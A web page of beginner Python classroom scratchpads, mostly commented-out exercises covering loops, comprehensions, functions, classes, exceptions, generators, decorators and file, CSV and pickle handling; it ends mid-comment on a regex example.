Menu

Python June 02/06/2023

Python June 02/06/2023

Scratchpad #1

# # print("Please enter amount in USD")
# usd = float(input("Please enter amount in USD: "))
# # usd = float(usd)
# inr = usd * 82.12

# print(f"${usd} is Rs. {inr}")

# city = input("Enter the city you are from: ")

# if city == "mumbai":
#     print("That is great city")
# elif city == "pune":
#     print("That is another great city")
# elif city == "delhi":
#     print("Please get out")
# else:
#     print("That's an unknown city")

age = int(input("Please enter your age: "))

if age >= 65:
    print("Drink are free")
elif age >= 21:
    print("You can enter and you can drink")
elif age >= 18:
    print("You can enter, but can't drink")
else:
    print("You are not allowed")

Scratchpad #2

# # logged_in_user = None

# # if logged_in_user:
# #     print("Welcome")
# # else:
# #     print("Please log in to continue")

# # age = int(input("Please enter your age: "))

# # if age >= 18 and age < 21:
# #     print("You can enter, but can't drink")
# # elif age >= 21 and age < 65:
# #     print("You can enter and you can drink")
# # elif age >= 65:
# #     print("Drink are free")
# # else:
# #     print("You are not allowed")

# # age = input("Please enter your age: ")

# # if age:
# #     age = int(age)
# #     if age >= 18 and age < 21:
# #         print("You can enter, but can't drink")
# #     elif age >= 21 and age < 65:
# #         print("You can enter and you can drink")
# #     elif age >= 65:
# #         print("Drink are free")
# #     else:
# #         print("You are not allowed")
# # else:
# #     print("Please enter a value")

# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")

# if player1 == player2:
#     print("DRAW")
# elif ((player1 == "rock" and player2 == "scissors")
#       or (player1 == "paper" and player2 == "rock")
#       or (player1 == "scissors" and player2 == "paper")):
#     print("Player 1 wins")
# elif ((player2 == "rock" and player1 == "scissors")
#       or (player2 == "paper" and player1 == "rock")
#       or (player2 == "scissors" and player1 == "paper")):
#     print("Player 2 wins")
# else:
#     print("Invalid value")

# message = "hello world"

# for char in message:
#     print(char)

for num in range(10, 0, -2):
    print(num)

Scratchpad #3

# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print(f"{num} - FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is even")
#     elif num % 2 == 1:
#         print(f"{num} - Fizz is odd")

# password = input("Please enter your password: ")

# while password != "helloworld":
#     if password == 'quit':
#         break
#     print("Sorry, that is incorrect.")
#     password = input("Please enter your password again: ")

# password = input("Please enter your password: ")

# while True:
#     if password == "helloworld":
#         break
#     print("Sorry, that is incorrect.")
#     password = input("Please enter your password again: ")

# while True:
#     player1 = input("Enter player 1's choice: ")
#     player2 = input("Enter player 2's choice: ")

#     if player1 == player2:
#         print("DRAW")
#     elif ((player1 == "rock" and player2 == "scissors")
#           or (player1 == "paper" and player2 == "rock")
#           or (player1 == "scissors" and player2 == "paper")):
#         print("Player 1 wins")
#     elif ((player2 == "rock" and player1 == "scissors")
#           or (player2 == "paper" and player1 == "rock")
#           or (player2 == "scissors" and player1 == "paper")):
#         print("Player 2 wins")
#     else:
#         print("Invalid value")

#     play_again = input("Do you want to play again (y/n): ")

#     if play_again != 'y':
#         break

# print("Thank you for playing.")

tasks = ""

while True:
    todo = input("Please write a task: ")
    if todo == 'quit':
        break
    tasks = tasks + "|" + todo

print("These are your tasks!")
print(tasks)

Scratchpad #4

# nums = [1, 2, True, 4, 5, 6]

# # for num in nums:
# #     print(num)

# count = 0

# while count < len(nums):
#     print(nums[count])
#     count += 1

# nums = [1, 2, 3, 4, 5, 6]

# doubles = []

# for num in nums:
#     doubles.append(num * 2)

# print(doubles)

names = [
    "john", "jack", "jill", "jane", "riya", "ben", "david", "eric", "otis"
]

upper_names = [name[::-1].upper() for name in names]
# ["NHOJ" for "john" in names]

# upper_names = []

# for name in names:
#     upper_names.append(name.upper())

print(upper_names)

Scratchpad #5

# # nums = [1, 2, 3, 4, 5, 6]

# # doubles = [num * 2 for num in nums if num % 2 == 0] # map

# # print(doubles)

# names = [
#     "john", "jack", "jill", "jane", "riya", "ben", "david", "eric", "otis"
# ]

# # result = [name for name in names if len(name) > 4]
# # result = [name.upper() for name in names if len(name) > 4]  # filter

# # result = [name.upper() if len(name) == 4 else name for name in names]

# # print(result)

# # # result = "".join([char for char in "Hello World" if char not in "aeiou"])

# # print(result)

# # result = [char for char in "Hello World" if char not in "aeiou"]

# # result = []

# # for char in "Hello World":
# #     if char not in "aeiou":
# #         result.append(char)

# # print(result)

# # nums = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11]]

# # for row in nums:  # [4, 5, 6]
# #     for num in row:
# #         print(num)

# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# # result = [[print(col) for col in row] for row in nested_list]

# # # print(result)

# # val = print("hello")
# # print("THIS IS THE VALUE OF 'val' => ", val)

# # result = [['X' if n % 2 == 1 else 'O' for n in range(1, 4)] for _ in range(3)]
# # [[1,2,3], [1,2,3], [1,2,3]]

# # print(result)

# result = []

# for _ in range(3):
#     row = []  # ['X', 'O', 'X']

#     for n in range(1, 4): # n = 3
#         if n % 2 == 1:
#             row.append('X')
#         else:
#             row.append('O')

#     result.append(row)

# print(result)

product = [
    "iPhone 14 pro max", "Apple", "Some description...", 200, 150000, True,
    "https://image_url"
]

print(product[4])

product = {
    "brand": "Apple",
    "desc": "Some description...",
    "name": "iPhone 14 pro max",
    "in_stock": [1, 2, 3, 4, 5],
    "discounted": {
        "hello": "world",
        "test": "text"
    },
    "image_url": "----",
    "price": 150000,
    1000: "Hello world"
}

print(product["discounted"])
print(product[1000])

Scratchpad #6

product = {
    "name": "AMD Ryzen Threadripper 3990X",
    "no_of_cores": 64,
    "no_of_threads": 128,
    "unlocked": True,
    "memory_type": "DDR4",
    "price": 333999.00,
}

# print(product.items())

for k, v in product.items():
    print(k)
    print(v)
    print()

# for item in product.items():
#     print(item[0], item[1])

# for key in product:
#     print(key)

# for key in product.keys():
#     print(key, product[key])

# for value in product.values():
#     print(value)

Scratchpad #7

def greet():
    return "Hello World"


result = greet()
print(result)

Scratchpad #8

# # def greet():
# #     return "Hello"

# # print(greet())

# # from random import random

# # random

# # def flip_coin():
# #     num = random()

# #     if num > 0.5:
# #         return "HEADS"
# #     else:
# #         return "TAILS"

# # print(flip_coin())

# # def add(num1, num2):
# #     return num1 + num2

# # num1 = int(input("Enter a number: "))
# # num2 = int(input("Enter another number: "))

# # print(add(num1, num2))

# # print(add(10, 8))
# # print(add(10, 5))

# # def print_profile(first_name, last_name, age):
# #     print(
# #         f"Hello, my name is {first_name} {last_name} and I am {age} years old."
# #     )

# # print_profile("John", "Doe", 20)

# # def sum_odd_numbers(numbers):
# #     total = 0
# #     for num in numbers:
# #         if num % 2 != 0:
# #             total += num
# #     return total

# # print(sum_odd_numbers([1, 2, 3, 4, 5, 6, 7, 8, 9]))

# # def add(num1, num2):
# #     return num1 + num2

# # print(add(10))

# # def greet():
# #     return "hello world"

# # hello = greet

# # print(hello())

# # def add(a, b):
# #     return a + b

# # def sub(a, b):
# #     return a - b

# # def mul(a, b):
# #     return a * b

# # def div(a, b):
# #     return a / b

# # def math(a, b, fn=add):
# #     return fn(a, b)

# # print(math(10, 5, add))

# # # math = [add, sub, mul, div]
# # math = {"add": add, "sub": sub}

# # print(math["sub"](10, 4))

# # def print_fullname(first_name, last_name=""):
# #     return f"Hello my name is {first_name} {last_name}"

# # print(print_fullname(last_name="Doe", first_name="John"))

# # GLOBAL SCOPE
# # full_name = "John Doe"

# # def greet():
# #     # LOCAL SCOPE
# #     full_name = "Jane Smith"
# #     print(full_name)

# # greet()
# # print(full_name)

# total = 0

# def greet():
#     global total
#     total += 5

# greet()
# print(total)

Scratchpad #9

# # total = 0

# # def increment():
# #     global total
# #     total += 1

# # increment()
# # print(total)

# # def outer():
# #     total = 0

# #     def inner():
# #         nonlocal total
# #         total += 10
# #         print("Inside inner(): ", total)

# #     inner()

# # outer()

# def greet(first_name, last_name):
#     """Function that accepts your name and greets you and prints it
#     @param first_name: str
#     @param last_name: str
#     @returns void
#     """
#     print(f"Hello my name is, {first_name} {last_name}")

# # print(greet.__doc__)
# # help(greet)
# print("".upper.__doc__)

# from random import random

import random
from pprint import pprint

SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
RANK_TUPLE = (
    "Ace",
    "2",
    "3",
    "4",
    "5",
    "6",
    "7",
    "8",
    "9",
    "10",
    "Jack",
    "Queen",
    "King",
)

NCARDS = 8


def get_card(deck_list_in):
    this_card = deck_list_in.pop()
    return this_card


def shuffle(deck_list_in):
    deck_list_out = deck_list_in.copy()
    random.shuffle(deck_list_out)
    return deck_list_out


print("Welcome to higher or lower")
print(
    "You have to choose whether the next card to be shown will be higher or lower than the current card."
)
print(
    "Getting it right adds 20 points; get it wrong and you will lose 15 points"
)
print("You have to 50 points to start")
print()

starting_deck_list = []
for suit in SUIT_TUPLE:
    for this_value, rank in enumerate(RANK_TUPLE):
        card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
        starting_deck_list.append(card_dict)

score = 50

while True:
    game_deck_list = shuffle(starting_deck_list)
    current_card_dict = get_card(game_deck_list)
    current_card_rank = current_card_dict["rank"]
    current_card_value = current_card_dict["value"]
    current_card_suit = current_card_dict["suit"]
    print(f"Starting card is {current_card_rank} of {current_card_suit}")
    print()

    for card_number in range(0, NCARDS):
        answer = input(
            f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
        )
        answer = answer.casefold()
        next_card_dict = get_card(game_deck_list)
        next_card_rank = next_card_dict["rank"]
        next_card_value = next_card_dict["value"]
        next_card_suit = next_card_dict["suit"]
        print(f"Next card is {next_card_rank} of {next_card_suit}")

        if answer == "h":
            if next_card_value > current_card_value:
                print("You got it right, it was higher")
                score += 20
            else:
                print("Sorry, it was not higher")
                score -= 15
        elif answer == 'l':
            if next_card_value < current_card_value:
                print("You got it right, it was lower")
                score += 20
            else:
                print("Sorry, it was not lower")
                score -= 15

        print(f"Your score is {score}")
        print()
        current_card_rank = next_card_rank
        current_card_suit = next_card_suit
        current_card_value = next_card_value

    go_again = input("To play again, press ENTER, or 'q' to quit: ")
    if go_again == "q":
        break

print("Thank you for playing")

Scratchpad #10

# # # def add(*nums):
# # #     total = 0
# # #     for num in nums:
# # #         total += num
# # #     return total

# # # print(add(10, 20))

# # # def profile(**data):
# # #     print(data)

# # # profile(first_name="John", last_name="Doe", age=20)

# # # def show_info(a, b, *args, role="moderator", **kwargs):
# # #     print(a, b, args, role, kwargs)

# # # show_info(10,
# # #           20,
# # #           30,
# # #           40,
# # #           50,
# # #           60,
# # #           first_name="John",
# # #           last_name="Doe",
# # #           role="admin")

# # def add(*nums):
# #     total = 0
# #     for num in nums:
# #         total += num
# #     return total

# # user_input = input("Enter several numbers separated by a space: ")
# # input_list = user_input.split(" ")
# # input_nums = [int(val) for val in input_list]

# # print(add(*input_nums))

# # # data = [10, 20, 30]
# # # print(add(data[0], data[1], data[2]))

# # def say_name(first, last):
# #     print(f"My name is {first} {last}.")

# # # say_name("John", "Doe")
# # # say_name(first="John", last="Doe")

# # name = {"first": "Robert", "last": "Moore"}

# # say_name(name["first"], name["last"])
# # say_name(first=name["first"], last=name["last"])
# # say_name(**name)

# # def add(a, b):
# #     return a + b

# # hello = add

# # print(hello(10, 4))

# def math(a, b, fn):
#     return fn(a, b)

# # def add(a, b):
# #     return a + b

# # add = lambda a, b: a + b

# print(math(10, 5, lambda a, b: a + b))
# print(math(10, 5, lambda a, b: a - b))
# print(math(10, 5, lambda a, b: a / b))
# print(math(10, 5, lambda a, b: a * b))

nums = list(range(10))

# doubles = [num * 2 for num in nums]
# doubles = map(lambda n: n * 2, nums)
# print(tuple(doubles))

# evens = [num for num in nums if num % 2 == 0]
evens = filter(lambda n: n % 2 == 0, nums)

print(list(evens))

Scratchpad #11

# def append(lst, *vals):
#     lst_copy = lst[::]
#     lst_copy.extend(vals)
#     return lst_copy

# my_list = [1, 2, 3, 4]

# append(my_list, 10, 20, 30, 40)

# print(my_list)


def colorize(text, color):
    colors = ('red', 'yellow', 'green', 'white', 'blue')

    if type(text) is not str or type(color) is not str:
        raise TypeError("Text and color has to be a string")

    if color not in colors:
        raise ValueError("This color is not acceptable")

    print(f"{text} in {color}")


colorize(100, "kachwa color")

Scratchpad #12

# class User:

#     def __init__(self, first_name, last_name, age, email, phone, password):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.age = age
#         self.email = email
#         self.phone = phone
#         self.password = password

#     def login(self, passwd):
#         if passwd == self.password:
#             print("Welcome to the app.")
#             return True
#         print("Sorry, incorrect password.")
#         return False

#     def logout(self):
#         print("You have logged out.")
#         return True

#     def create_post(self, image_url, description):
#         print(f"{image_url} - {description}: CREATED")

# def user(first_name, last_name, age, email, phone, password):

#     def login(passwd):
#         if passwd == password:
#             print("Welcome to the app.")
#             return True
#         print("Sorry, incorrect password.")
#         return False

#     def logout():
#         print("You have logged out.")
#         return True

#     def create_post(image_url, description):
#         print(f"{image_url} - {description}: CREATED")

#     return {
#         "first_name": first_name,
#         "last_name": last_name,
#         "email": email,
#         "age": age,
#         "phone": phone,
#         "login": login,
#         "logout": logout,
#         "create_post": create_post
#     }

# john = user("John", "Doe", 20, "[email protected]", "+91 9822365436",
#             "testpass@123")
# jane = User("Jane", "Smith", 22, "[email protected]", "_92 6543324567", "test123")

# # print(john["first_name"])
# # print(jane.first_name)
# # print(john["email"])
# # print(jane.email)
# # print(john["login"]("testpass@123"))
# # print(jane.login("test123"))

# # print(john["first_name"])
# # print(john["last_name"])
# # print(john["login"]("testpass@123"))
# # print(john["logout"]())

# # print(type(john))
# # print(type(jane))

# def make_user(first_name, last_name, age, email, phone, password):
#     return {
#         "first_name": first_name,
#         "last_name": last_name,
#         "email": email,
#         "age": age,
#         "phone": phone,
#         "password": password
#     }

# def login(user, passwd):
#     if user["password"] == passwd:
#         print("Welcome to the app.")
#         return True
#     print("Sorry, incorrect password.")
#     return False

# def logout(user):
#     print(f"{user['first_name']}: You have logged out.")
#     return True

# jack = make_user("Jack", "Roe", 30, "[email protected]", "+91 9823365436",
#                  "testpass")

# # print(jack["first_name"])
# login(jack, "testpass")

# "hello".upper()

# upper("hello")

a = [1, 2, 3]
a.extend([10, 20, 30])

Scratchpad #13

# def capitalize(words):
#     words_split = words.split(' ')
#     capitalized_list = []
#     for word in words_split:
#         capitalized_list.append(word.capitalize())
#     return " ".join(capitalized_list)

# def capitalize(words):
#     return " ".join([word.capitalize() for word in words.split(" ")])

# print(capitalize("hello world this is something"))


def swap_vals(lst, idx1, idx2):
    lst[idx1], lst[idx2] = lst[idx2], lst[idx1]

Scratchpad #14

# def user(first_name, last_name, age, email, phone, password):

#     def get_password(self):
#         return self["_age"]

#     self = {}
#     self["first_name"] = first_name
#     self["last_name"] = last_name
#     self["_age"] = age
#     self["email"] = email
#     self["phone"] = phone
#     self["password"] = password
#     self["get_password"] = get_password

#     return self

# jack = user("Jack", "Smith", 22, "[email protected]", "+91 98233456677",
#             "testpass123")
# print(jack["get_password"](jack))
# # print(jack)

import random


class User:
    country = "India"
    total_users = 0
    active_users = 0

    def __init__(self, first_name, last_name, age, email, phone):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.email = email
        self.phone = phone
        self._password = User.generate_password(16)
        self.city = "Mumbai"
        User.total_users += 1

    def __repr__(self):
        return self.first_name + " " + self.last_name

    @classmethod
    def get_total_users(cls):
        return cls.total_users

    @classmethod
    def generate_password(cls, length=8):
        chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^*()+-"
        password = ""
        for _ in range(length):
            password += random.choice(chars)
        return password

    def print_full_name(self):
        print(f"{self.first_name} {self.last_name}")

    def get_age(self):
        return self._age

    def set_age(self, new_age):
        if new_age < 18 or new_age > 100:
            raise ValueError("Invalid age")
        self._age = new_age
        return self._age

    def login(self, password):
        if password != self._password:
            raise ValueError("Incorrect password")
        User.active_users += 1
        return True

    def logout(self):
        User.active_users -= 1
        return True


john = User("John", "Doe", 20, "[email protected]", "+91 98233456677")
jane = User("Jane", "Smith", 23, "[email protected]", "1231233")

print(john)
print(jane)

# print(john._password)

# print(User.get_total_users())

# print(User.generate_password(12))

# jane.login("123213wwsd")
# john.login("testpass")
# jane.logout()

# print("Total Users:", User.total_users)
# print("Active Users:", User.active_users)

# jane.print_full_name()
# john.print_full_name()

# print(john._password)
# print(john.city)

# # john._age = 50
# john.set_age(400)
# print(john.get_age())

# # john.last_name = "Smith"
# # print(john.last_name)

Scratchpad #15

import random


class User:
    country = "India"
    total_users = 0
    active_users = 0

    def __init__(self, first_name, last_name, age, email, phone):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.email = email
        self.phone = phone
        self._password = User.generate_password(16)
        self.city = "Mumbai"
        User.total_users += 1

    def __repr__(self):
        return self.first_name + " " + self.last_name

    @property
    def age(self):
        return self._age

    @age.setter
    def age(self, new_age):
        if new_age < 18 or new_age > 100:
            raise ValueError("Invalid age")
        self._age = new_age
        return True

    # def get_age(self):
    #     return self._age

    # def set_age(self, new_age):
    #     if new_age < 18 or new_age > 100:
    #         raise ValueError("Invalid age")
    #     self._age = new_age
    #     return self._age

    @classmethod
    def get_total_users(cls):
        return cls.total_users

    @classmethod
    def generate_password(cls, length=8):
        chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^*()+-"
        password = ""
        for _ in range(length):
            password += random.choice(chars)
        return password

    def print_full_name(self):
        print(f"{self.first_name} {self.last_name}")

    def login(self, password):
        if password != self._password:
            raise ValueError("Incorrect password")
        User.active_users += 1
        return True

    def logout(self):
        User.active_users -= 1
        return True


class Admin(User):

    def __init__(self, first_name, last_name, age, email, phone):
        super().__init__(first_name, last_name, age, email, phone)
        self.groups = []

    def logout(self):
        print("You have logged out")
        return True

    def create_group(self, group):
        self.groups.append(group)


john = User("John", "Doe", 20, "[email protected]", "+91 9723454564")
jane = Admin("Jane", "Smith", 20, "[email protected]", "+91 97212342564")

# john.age = 102
# print(john.age)
print(jane.groups)

# john.age = 102
# print(john.age)

# john.set_age(102)
# print(john.get_age())

# print(john)
# print(jane)
# print(john.get_age())
# print(jane.get_age())

# john.logout()

# john.create_group("DOPD")
# jane.create_group("PODP")
# print(Admin.groups)

Scratchpad #16

# # class Animal:

# #     def __init__(self, name):
# #         self.name = name

# #     def greet(self):
# #         return "asldk;jaskldj"

# # class Human:

# #     def __init__(self, name):
# #         self.name = name

# #     def greet(self):
# #         return "Hello World"

# # class Mutant(Animal, Human):
# #     pass

# # john = Human("John Doe")
# # dog = Animal("Dawg")
# # rogue = Mutant("Rogue")

# # # print(john.greet())
# # # print(dog.greet())
# # print(help(rogue))

# class User:

#     def __init__(self, first_name, last_name, email, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.email = email
#         self.age = age

#     def __len__(self):
#         return self.age

#     def __add__(self, obj):
#         return User("New Born", None, None, 0)

#     def __repr__(self):
#         return self.first_name

#     def __lt__(self, user):
#         return self.age < user.age

#     def greet(self):
#         return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old."

# class Admin(User):

#     def greet(self):
#         return "How are you?"

# john = User("John", "Roe", "[email protected]", 25)
# jane = Admin("Jane", "Doe", "[email protected]", 22)

# print(john < jane)

# # print(john.greet())
# # print(jane.greet())

# # print(len(john))

# class Animal():

#     def speak(self):
#         raise NotImplementedError("Subclass needs to implement this method")

# class Dog(Animal):

#     def speak(self):
#         return "bark"

# class Cat(Animal):

#     def speak(self):
#         return "meow"

# t1 = Animal()
# t1.speak()

# def test(collection):
#     ic = iter(collection)

#     while True:
#         try


def colorize(text, color):
    colors = ('red', 'yellow', 'green', 'white', 'blue')

    if type(text) is not str or type(color) is not str:
        raise TypeError("Text and color has to be a string")

    if color not in colors:
        raise ValueError("This color is not acceptable")

    return f"{text} in {color}"


# colorize("hello", "jasdhjasd")

# try:
#     colorize("hello", "jasdhjasd")
# # except:
# #     print("Something went wrong")
# # except TypeError as err:
# #     print("Something went wrong")
# #     print(err)
# # except (ValueError, TypeError) as err:
# #     print("Something went wrong")
# #     print(err)
# # except Exception as err:
# #     print("Something went wrong")
# #     print(err)
# except Exception as err:
#     print(type(err).__name__)

# # try:
# #     colorize("hello", "jasdhjasd")
# # except (ValueError, TypeError) as err:
# #     print("Something went wrong")
# #     print(err)

# print("This is after everything")

try:
    result = colorize("hello", "asdasdasd")
except Exception as err:
    print(err)
else:
    print("THE IS THE ANSWER ->", result)
finally:
    print("THIS WILL ALWAYS RUN, WHETHER SUCCESS OR FAILURE")

Scratchpad #17

# def my_for(iterable):
#     iterator = iter(iterable)
#     while True:
#         try:
#             print(next(iterator))
#         except StopIteration:
#             break

# my_for("hello world")
# for char in "hello world":
#     print(char)

# range(0, 10)

# class Counter:

#     def __init__(self, start, end, step=1):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __repr__(self):
#         return f"Counter({self.start}, {self.end})"

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start < self.end:
#             num = self.start
#             self.start += self.step
#             return num
#         else:
#             raise StopIteration

# # print(Counter(0, 10))

# # print(range(0, 10))

# # for num in range(0, 10):
# #     print(num)

# c = Counter(0, 101, 10)
# for num in c:
#     print(num)

# def count_up_to(start, end, step=1):
#     count = start
#     while count < end:
#         yield count
#         count += step

# count = count_up_to(0, 10, 2)
# for num in count:
#     print(num)

# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums

# a = fib_list(100000000)
# for num in a:
#     print(num)

# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1

# a = fib_gen(100000000)
# for num in a:
#     print(num)

import time

gen_start_time = time.time()
print(sum(num for num in range(100000000)))
gen_stop = time.time() - gen_start_time

list_start_time = time.time()
print(sum([num for num in range(100000000)]))
list_stop = time.time() - list_start_time

print(f"Generator took: {gen_stop}")
print(f"List comp took: {list_stop}")

Scratchpad #18

# # # # def math(a, b, fn):
# # # #     return fn(a, b)

# # # # def add(a, b):
# # # #     return a + b

# # # # print(math(10, 5, add))
# # # # print(math(20, 10, lambda a, b: a - b))

# # # def sum(n, fn):
# # #     total = 0
# # #     for num in range(1, n + 1):
# # #         total += fn(num)
# # #     return total

# # # print(sum(5, lambda num: num * 2))

# # # import random

# # # def greet(person):

# # #     def get_mood():
# # #         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# # #         msg = random.choice(mood)
# # #         return msg

# # #     result = f"{get_mood()} {person}"
# # #     return result

# # # print(greet("John"))

# # import random

# # def make_greet_func(person):

# #     def make_message():
# #         msg = random.choice(
# #             ["Hello", "What!", "What the heck do you want!", "Get lost!"])
# #         return f"{msg} {person}"

# #     return make_message

# # result = make_greet_func("Jane")

# # print(result())

# # def stars(fn):

# #     def wrapper():
# #         print("*" * 10)
# #         fn()
# #         print("*" * 10)

# #     return wrapper

# # @stars
# # def say_hello(person):
# #     print(f"Hello World {person}")

# # # say_hello = stars(say_hello)

# # say_hello("John")

# # def make_upper_case(fn):

# #     def wrapper(*args, **kwargs):
# #         return fn(*args, **kwargs).upper()

# #     return wrapper

# # @make_upper_case  # say_hello = make_upper_case(say_hello)
# # def say_hello(person):
# #     return f"Hello {person}"

# # @make_upper_case
# # def say_hello_again(person, message):
# #     return f"{message} {person}"

# # print(say_hello("Jill"))
# # print(say_hello_again("john", "hi"))

# from functools import wraps

# def stars(fn):
#     """Decorator function that wraps a printed *s around it"""

#     @wraps(fn)
#     def wrapper(*args, **kwargs):
#         """Wrapper function"""
#         print("*" * 10)
#         fn(*args, **kwargs)
#         print("*" * 10)

#     return wrapper

# @stars
# def say_hello(person):
#     """Function that takes the name of a person and says hello"""
#     print(f"Hello {person}")

# # say_hello("Jane")
# print(say_hello.__name__)
# print(say_hello.__doc__)

###### Bank
## Attributes
# name: str, phone: [str], email: str, address: str, ifsc: str, branch: str
# customer_list: [Customer]
## Methods
# create_customer(first_name, middle_name, last_name, phone, address, email, balance) -> Customer  [add it to the customer_list attribute]
# delete_customer(account_no)
# find_customer_by_email()
# find_customer_by_account_no()
# find_customer(email="[email protected]")

# Customer
## Attributes
# first_name: str, middle_name: str, last_name: str, phone: str, address: str, account_no: str, email: str, balance: float, bank: Bank, dob: str (d/m/y)
## Methods
# edit_details(), deposit(), withdraw(), check_balance(),

# sbi = Bank()
# john = sbi.create_customer()

Scratchpad #19

# file = open("hello.txt")
# print(file.read())
# file.close()
# print(file.closed)

# with open("hello.txt") as file:
#     print(file.read())

# print("File closed: ", file.closed)

# with open("hello.txt", "w") as file:
#     file.write("Hello world\n")
#     file.write("This is another line.\n\n")

# with open("hello.txt", "a") as file:
#     file.write("\n\nHello world\n")
#     file.write("This is another line.\n\n")

# with open("hello.txt", "r+") as file:
#     file.write("Hello world! ")
#     file.write("This is another line")
#     file.seek(0)
#     file.write("HELLLLLLLO")

# with open("hello.txt", "r") as file:
#     data = file.read()

# data = data.upper()

# with open("hello.txt", "w") as file:
#     file.write(data)

# with open("hello.csv") as file:
#     print(file.readlines())

# from csv import reader, DictReader

# # with open("hello.csv") as file:
# #     csv_data = reader(file)

# #     for row in csv_data:
# #         print(row)

# with open("hello.csv") as file:
#     csv_data = DictReader(file, delimiter="|")

#     for row in csv_data:
#         print(row)

from csv import writer

with open("hello.csv", "a", newline="") as file:
    csv_writer = writer(file)
    csv_writer.writerow(["James", "Mac", "[email protected]", 1234567890])
    csv_writer.writerow(
        ["Test", "Person", "[email protected]", 1234567890, "hello world"])

Scratchpad #20

# # # class Bank:

# # #     def __init__(self, name, address, phone):
# # #         self.name = name
# # #         self.address = address
# # #         self.phone = phone
# # #         self.customers = []

# # #     def create_customer(self, first_name, last_name, phone):
# # #         cus = Customer(first_name, last_name, phone)
# # #         self.customers.append(cus)
# # #         return cus

# # # class Customer:

# # #     def __init__(self, first_name, last_name, phone):
# # #         self.first_name = first_name
# # #         self.last_name = last_name
# # #         self.phone = phone

# # # sbi = Bank("State Bank of India", "Some address", "+91 022 2345456234")

# # # john = sbi.create_customer("John", "Doe", "+91 9218937912")

# # # print(john)

# # # from csv import writer, DictWriter

# # # with open("hello.csv", "w", newline="") as file:
# # #     csv_writer = writer(file)
# # #     csv_writer.writerow(["first_name", "last_name", "age"])
# # #     csv_writer.writerow(["John", "Doe", 20])
# # #     csv_writer.writerow(["Jane", "Smith", 25])

# # # with open("hello.csv", "w", newline="") as file:
# # #     headers = ["first_name", "last_name", "age"]
# # #     csv_writer = DictWriter(file, fieldnames=headers)
# # #     csv_writer.writeheader()
# # #     csv_writer.writerow({
# # #         "last_name": "Smith",
# # #         "first_name": "Jack",
# # #         "age": 20
# # #     })
# # #     csv_writer.writerow({"first_name": "Jane", "last_name": "Doe", "age": 22})
# # #     csv_writer.writerow({
# # #         "first_name": "James",
# # #         "last_name": "Marsden",
# # #         "age": 30
# # #     })
# # #     csv_writer.writerow({"first_name": "Test", "last_name": "User", "age": 18})

# # import pickle

# # class User:

# #     def __init__(self, first_name, last_name, age):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self.age = age

# #     def __repr__(self):
# #         return self.first_name + " " + self.last_name

# #     def greet(self):
# #         return f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old."

# # # user1 = User("John", "Doe", 20)
# # # user2 = User("Jane", "Doe", 25)
# # # user1.last_name = "Smith"

# # # print(user2.greet())

# # # with open("users_data.pickle", "wb") as file:
# # #     pickle.dump((user1, user2), file)

# # with open("users_data.pickle", "rb") as file:
# #     u1, u2 = pickle.load(file)
# #     print(u1, u2)

# class Bank:

#     def __init__(self, name, address, phone):
#         self.name = name
#         self.address = address
#         self.phone = phone
#         self.customers = []

#     def create_customer(self, first_name, last_name, phone):
#         cus = Customer(first_name, last_name, phone)
#         self.customers.append(cus)
#         return cus

# class Customer:

#     def __init__(self, first_name, last_name, phone):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.phone = phone

# sbi = Bank("State Bank of India", "Some address", "+91 022 2345456234")

# while True:
#     first_name = input("Enter your first name: ")
#     last_name = input("Enter your last name: ")
#     phone = input("Enter your phone no: ")

#     sbi.create_customer(first_name, last_name, phone)
#     print("Customer created successfully")

#     answer = input(
#         "What do you want to do next?\na) Add new customer\nb) Display customer list\nc) Exit\nYour choice: "
#     )

#     if answer == 'b':
#         for customer in sbi.customers:
#             print(f"{customer.first_name} {customer.last_name}")
#     elif answer == 'c':
#         break

#     # answer = input("Want to add a another customer? (y/n): ")
#     # if (answer == 'n'):
#     #     break

# print(sbi.customers)

# # import json
# import jsonpickle

# class User:

#     def __init__(self, first_name, last_name, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.age = age

#     def __repr__(self):
#         return self.first_name + " " + self.last_name

#     def greet(self):
#         return f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old."

# # user1 = User("John", "Doe", 20)
# # user2 = User("Jane", "Doe", 25)

# # print(user1.__dict__)
# # print(json.dumps(user1.__dict__))

# # with open("users.json", "w") as file:
# #     users_data = jsonpickle.encode([user1, user2])
# #     file.write(users_data)

# with open("users.json") as file:
#     contents = file.read()
#     data = jsonpickle.decode(contents)
#     print(data)

# from csv import reader

# with open("hello.csv") as file:
#     csv_reader = reader(file)
#     print(list(csv_reader))

with open("hello.csv") as file:
    data = file.readlines()
    data = [item.replace("\n", "") for item in data]
    data = [item.split(",") for item in data]
    print(data)

Scratchpad #21

# # import re

# # pattern = re.compile(r"\+?91\s?\d{10}")

# # result = pattern.search(
# #     "Call us today on +91 9876654321 or +919876654567 and get started.")
# # print(result.group())
# # # result = pattern.findall(
# # #     "Call us today on +91 9876654321 or +919876654567 and get started.")
# # # print(result)

# import re

# # def extract_phone_no(input_data):
